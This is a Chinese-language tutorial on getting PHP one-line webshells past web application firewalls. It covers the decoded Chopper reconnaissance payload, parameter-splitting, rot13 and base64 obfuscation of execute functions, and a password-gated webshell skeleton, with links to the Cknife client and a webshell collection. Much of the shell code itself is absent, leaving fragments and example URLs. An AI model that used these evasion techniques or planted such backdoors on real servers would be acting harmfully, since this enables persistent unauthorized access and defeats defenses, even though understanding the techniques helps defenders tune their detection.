在渗透测试的后期,为了维持权限。我们通常都会选择使用大小马或者通过添加账户等各种各样的方式给自己留个后门。但是事情总不是一帆风顺的,在上传一句话木马以及使用一句话木马的过程中我们要跟WAF斗智斗勇。今天这期我们从一句话木马的工作机制和WAF工作机制入手来讲如何绕过WAF的检测。
一、一句话木马和WAF介绍
在这里就不再科普一句话木马的介绍,不明白的得可以看这里:一句话木马-百度百科。
WAF的介绍可以看这里:WAF-百度百科
二、一句话木马机制
我们这里以php的一句话木马为例子:
Eval函数去执行post过来的数据,这个数据当然就是代码。在代码中,我们可以自定义实现所要的功能。比如说是文件管理,或者是模拟终端等。
但是众所周知,服务器端的语言又比较多,极少有人能够知道这么多语言中各个函数的用途。所以这个时候菜刀之类的工具应运而生。它将我们常用的代码封装在软件之中,通过和一句话木马的交互完成工作。如果各位对此菜刀有兴趣,下面奉上“新版中国菜刀”(Cknife)的开源代码。
回到正题,通过上面的描述,那么一句话木马的工作机制也就很明了了,主要包含两个功能,第一个是必须可以接收数据,这个数据是get或者post以及其他方式传送到服务端的指令代码。第二个需要将接收到的代码成功执行。
对于上述,我们可以通过抓取菜刀的发送包进行验证。
图1 抓取的菜刀HTTP包
可以发现,菜刀通过post方式发送数据,将数据进行url解码和base64解码,还原后的php代码如下:
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";
if(substr($D,0,1)!="/"){
foreach(range("A","Z") as $L)
if(is_dir("{$L}:"))
$R.="{$L}:";}
$R.="\t";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';
$usr=($u)?$u['name']:@get_current_user();
$R.=php_uname();
$R.="({$usr})";
print $R;;
echo("|<-");
die();
?>
上述代码的功能不是本文重点,就不再赘述。
三、WAF检测机制
图2 WAF日志记录
通过对WAF的反复测试,发现对一句话木马的检测,WAF主要分为两个部分。第一个部分,当一句话木马在服务器中的时候,首先检测文件中的内容,正如上文一句话木马工提到的两大特征,WAF也会匹配上述两个特征,当一个php文件具有执行功能和接收数据功能时就会被判定为具有了一句话木马的特征,所以说对于未变形的一句话木马来说,上传上去活下来的机率几乎为零,等不到访问就被查杀掉了。
其第二部分检测在于当一句话木马和菜刀进行通信的时候,WAF会判定提交的数据,当发现危险函数特征的时候也会进行拦截。而且根据测试结果推测,WAF出于降低误拦截的考虑,短时间内并不会对可能是一句话木马的连接进行拦截。而是当多次出现时候才确定。
四、绕过WAF
根据上文提到的一句话木马的工作原理以及WAF的检测机制,我们首先要做到的是一句话木马能够存活在服务器中,要不然后续的步骤无从下手。那么我们首先来看下防止一句话木马被检测出来常见的绕过手段。
1、单特征类
该一句话木马只有数据接收功能,不含有执行函数,可以完美绕过WAF的在线检测。当然也可以使用get函数和post函数搭配进行。与菜刀连接执行的时候通过test1内容为“assert”即可实现代码的执行。
假如我们要利用phpinfo()函数,那么可以在地址栏输入:www.xxx.com/test.php?test1=assert&test2=phpinfo(),结果如下。
图3验证结果
2、混淆编码类
该方式将eval和接收函数通过rot13编码进行了替换,完全抹去了一句话木马的两个特征。完美绕过。当然编码方式不止上述一种,也可以使用其他编码方式。
3、字符替换类
该方式将执行函数进行了字符替换,从而完成了特征的绕过。
本文重在思路,所以只是列举三种,更多的情况,大家可以看看公众号之前发的关于sql注入绕过WAF的文章,同时也可以发挥脑洞,利用php一些特性,根据WAF的检测机制,进行字符填充、混淆和替换、分割等各种方式实现检测绕过。
当一句话木马到服务器端之后,剩下的工作就是利用菜刀跟一句话木马进行连接。菜刀的种类很多,有基于c/s架构的,也有基于b/s架构的,但是其原理都是相通的。菜刀的出现减少了一句话木马使用的门槛,但是对于绕过WAF来说就需要花费一些心思了。
我们之前也提到过,WAF会对客户端提交的参数进行审查,对于含有危险函数的会进行拦截和过滤,下面看图。
图4 抓取的菜刀HTTP包
实际使用中直接使用菜刀,不进行特殊的配置,几乎很难绕过,经过分析两个地方触发了WAF的报警机制,第一个是提交函数中存在的base64_decode方法,第二个是参数中存在的eval函数。那么如何在提交参数中避免这些,从而绕过呢。
1、加密编码法
在一句话木马中只要加上对应的解密,解码方法。那么在提交过程中则可以进行任何危险函数的加密,编码绕过WAF。比如说我们在一句话木马中提前构造好base_64解密方法如下:
则在数据提交过程中则为:
www.xxx.com/ test.php?test2=cGhwaW5mbygpOw==
图5验证结果
完全避免了任何函数的提交,当然在这里也可以使用一些常见的加密算法,比如AES、RSA等,关键在于一句话木马之中具有解密函数即可。
2、迂回法
该方法和大马方式类似,属于大马和一句话木马之间,就是将文件管理、下载文件等代码放在一句话木马文件之中,并且重命名功能函数,通过传参数调用,从而绕过WAF的检测。这种方法基本上可以保证不含有任何危险字段,但是对在线检测的抵抗能力加强。至于云端代码的绕过可以参考第一部分。该方法是Cknife作者提出来的。下面可以看例子:
$pass= 'yirendai'; //密码
if($_GET [$pass] == 1&$_GET [$action]=="file") {
//该处可以写上列出文件的代码;其他功能类似;
}
?>
这样我们在调用的时候输入www.xxx.com/test.php?pass=yirendai&action=file 可以直接使用了文件功能。
3、浏览器法
随着Cknife软件的开源,在软件丰富的同时,WAF对于菜刀得判断也越来越精确。所以这个时候不妨回归原始,通过最简单的表单进行提交。发现菜刀不能连接的,通过这个方式又可以快乐的玩耍了。(ps:通过给菜刀加header仍然被拦截,欢迎大牛讲解。)
图6浏览器实验
然而道高一尺魔高一丈,随着一句话木马变种的增多,安全厂商的规则也越来越完善。所以在绕过的过程中,要不停的尝试、总结、完善。安全技术也是在这个过程中快速发展。本文主要目的在于讲解思路,抛砖引玉。毕竟知其然,那么剩下的就都很好理解了。
附录菜刀:Cknife:https://github.com/Chora10/Cknife
Webshell集合: https://github.com/tennc/webshell